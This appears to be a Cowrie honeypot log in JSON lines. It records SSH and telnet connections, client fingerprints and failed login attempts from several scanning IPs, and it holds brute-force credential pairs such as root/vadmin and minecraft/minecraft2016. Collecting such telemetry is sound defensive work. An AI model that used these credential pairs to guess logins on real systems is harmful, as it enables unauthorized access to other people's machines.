{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:02.434614Z","src_ip":"89.218.69.66","session":"f1676032a039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.966655731201172,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:02.936228Z","src_ip":"165.232.131.181","session":"09f080ebc11d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft2016","message":"login attempt [minecraft/minecraft2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:03.158160Z","src_ip":"89.218.69.66","session":"f1676032a039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:04.334192Z","src_ip":"89.218.69.66","session":"f1676032a039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.637322187423706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:04.657457Z","src_ip":"62.210.97.77","session":"3404f6b68b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52698,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf59c987ec2","protocol":"telnet","message":"New connection: 62.210.97.77:52698 (10.17.0.5:23) [session: cdf59c987ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:05.868339Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VbCdn2023","message":"login attempt [root/VbCdn2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:06.322760Z","src_ip":"213.209.159.158","session":"db3d51c9ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"c90ff00fa80b","protocol":"telnet","message":"New connection: 62.210.97.77:52706 (10.17.0.5:23) [session: c90ff00fa80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:06.783739Z"}
{"eventid":"cowrie.session.closed","duration":36.03900742530823,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:06.852895Z","src_ip":"65.60.27.33","session":"16cc1a882ceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.39538240432739,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:07.544762Z","src_ip":"62.210.97.77","session":"22c667f92e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:09.511715Z","src_ip":"213.209.159.158","session":"db3d51c9ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30428,"dst_ip":"10.17.0.5","dst_port":22,"session":"784656c0b93f","protocol":"ssh","message":"New connection: 213.209.159.158:30428 (10.17.0.5:22) [session: 784656c0b93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:10.606949Z"}
{"eventid":"cowrie.session.closed","duration":50.20960569381714,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:12.192012Z","src_ip":"165.232.131.181","session":"6d72b62835c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.78146195411682,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:12.755939Z","src_ip":"62.210.97.77","session":"ce14cd011453","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:13.176447Z","src_ip":"213.209.159.158","session":"784656c0b93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:13.181483Z","src_ip":"213.209.159.158","session":"784656c0b93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41214,"dst_ip":"10.17.0.5","dst_port":23,"session":"13afc5be18d4","protocol":"telnet","message":"New connection: 65.60.27.33:41214 (10.17.0.5:23) [session: 13afc5be18d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:15.765944Z"}
{"eventid":"cowrie.session.closed","duration":40.293002128601074,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:16.180488Z","src_ip":"65.60.27.33","session":"1bd2c29709ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"209d9f58cfa1","protocol":"telnet","message":"New connection: 165.232.131.181:42620 (10.17.0.5:23) [session: 209d9f58cfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:16.914073Z"}
{"eventid":"cowrie.session.closed","duration":34.43219041824341,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:17.586051Z","src_ip":"62.210.97.77","session":"23b0be32372a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.24.62","src_port":10153,"dst_ip":"159.203.135.109","dst_port":23,"session":"f437023fa317","protocol":"telnet","message":"New connection: 186.233.24.62:10153 (159.203.135.109:23) [session: f437023fa317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:17.823373Z"}
{"eventid":"cowrie.session.closed","duration":35.32231640815735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:17.829440Z","src_ip":"62.210.97.77","session":"bdcbc5e28182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11983013153076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:18.238518Z","src_ip":"62.210.97.77","session":"c90480630941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.08568572998047,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:18.271393Z","src_ip":"62.210.97.77","session":"184c58d1950a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43656,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc485c8d3f8a","protocol":"telnet","message":"New connection: 165.232.131.181:43656 (10.17.0.5:23) [session: fc485c8d3f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:20.099819Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadmin","message":"login attempt [root/vadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:23.499487Z","src_ip":"213.209.159.158","session":"784656c0b93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9631192684173584,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:24.062780Z","src_ip":"165.232.131.181","session":"fc485c8d3f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:26.872111Z","src_ip":"213.209.159.158","session":"784656c0b93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31920,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d4d5df18c85","protocol":"ssh","message":"New connection: 213.209.159.158:31920 (10.17.0.5:22) [session: 2d4d5df18c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:26.961566Z"}
{"eventid":"cowrie.session.closed","duration":32.33368372917175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:27.792588Z","src_ip":"62.210.97.77","session":"a53b4e894996","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:29.179281Z","src_ip":"213.209.159.158","session":"2d4d5df18c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:29.184069Z","src_ip":"213.209.159.158","session":"2d4d5df18c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.950443506240845,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:30.773698Z","src_ip":"186.233.24.62","session":"f437023fa317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.88899827003479,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:33.013003Z","src_ip":"65.60.27.33","session":"6f33a05b2151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.90000295639038,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:37.131357Z","src_ip":"165.232.131.181","session":"7374e8067a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49536,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b574c9149f","protocol":"telnet","message":"New connection: 62.210.97.77:49536 (10.17.0.5:23) [session: b9b574c9149f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:37.597501Z"}
{"eventid":"cowrie.session.closed","duration":38.266883850097656,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:38.165559Z","src_ip":"65.60.27.33","session":"7dbdd319466a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"USER2!","message":"login attempt [root/USER2!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:38.833035Z","src_ip":"213.209.159.158","session":"2d4d5df18c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.42323398590088,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:40.206894Z","src_ip":"62.210.97.77","session":"c90ff00fa80b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.921319246292114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:40.789540Z","src_ip":"62.210.97.77","session":"cdf59c987ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:42.068201Z","src_ip":"213.209.159.158","session":"2d4d5df18c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45170,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c18e469b647","protocol":"ssh","message":"New connection: 213.209.159.158:45170 (10.17.0.5:22) [session: 7c18e469b647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:42.174822Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43070,"dst_ip":"10.17.0.5","dst_port":23,"session":"505b9542a5b0","protocol":"telnet","message":"New connection: 62.210.97.77:43070 (10.17.0.5:23) [session: 505b9542a5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:43.666400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:44.331977Z","src_ip":"213.209.159.158","session":"7c18e469b647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:44.336635Z","src_ip":"213.209.159.158","session":"7c18e469b647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49186,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9687027684a","protocol":"telnet","message":"New connection: 65.60.27.33:49186 (10.17.0.5:23) [session: e9687027684a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:46.344676Z"}
{"eventid":"cowrie.session.closed","duration":56.02786445617676,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:50.579984Z","src_ip":"38.54.119.93","session":"6ea5d6fd69ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43544,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e617decfff","protocol":"telnet","message":"New connection: 38.54.119.93:43544 (10.17.0.5:23) [session: 02e617decfff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:50.631353Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56386,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d1cd0ab661","protocol":"telnet","message":"New connection: 65.60.27.33:56386 (10.17.0.5:23) [session: 48d1cd0ab661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:53.634646Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"V9putZbB1U","message":"login attempt [root/V9putZbB1U] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:54.175076Z","src_ip":"213.209.159.158","session":"7c18e469b647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.0186972618103,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:54.784373Z","src_ip":"65.60.27.33","session":"13afc5be18d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49226,"dst_ip":"10.17.0.5","dst_port":23,"session":"14cdf0caef41","protocol":"telnet","message":"New connection: 62.210.97.77:49226 (10.17.0.5:23) [session: 14cdf0caef41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:55.003769Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":19868,"dst_ip":"159.203.135.109","dst_port":22,"session":"10281ccd486a","protocol":"ssh","message":"New connection: 89.218.69.66:19868 (159.203.135.109:22) [session: 10281ccd486a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:56.814388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:56.818223Z","src_ip":"89.218.69.66","session":"10281ccd486a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:56.985303Z","src_ip":"89.218.69.66","session":"10281ccd486a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:57.384210Z","src_ip":"213.209.159.158","session":"7c18e469b647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.557048320770264,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:57.471008Z","src_ip":"165.232.131.181","session":"209d9f58cfa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52330,"dst_ip":"10.17.0.5","dst_port":22,"session":"c74b7ceb7fbd","protocol":"ssh","message":"New connection: 213.209.159.158:52330 (10.17.0.5:22) [session: c74b7ceb7fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:57.476310Z"}
{"eventid":"cowrie.login.failed","username":"testing","password":"1234","message":"login attempt [testing/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:57.691247Z","src_ip":"89.218.69.66","session":"10281ccd486a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:37:58.863212Z","src_ip":"89.218.69.66","session":"10281ccd486a","protocol":"ssh"}
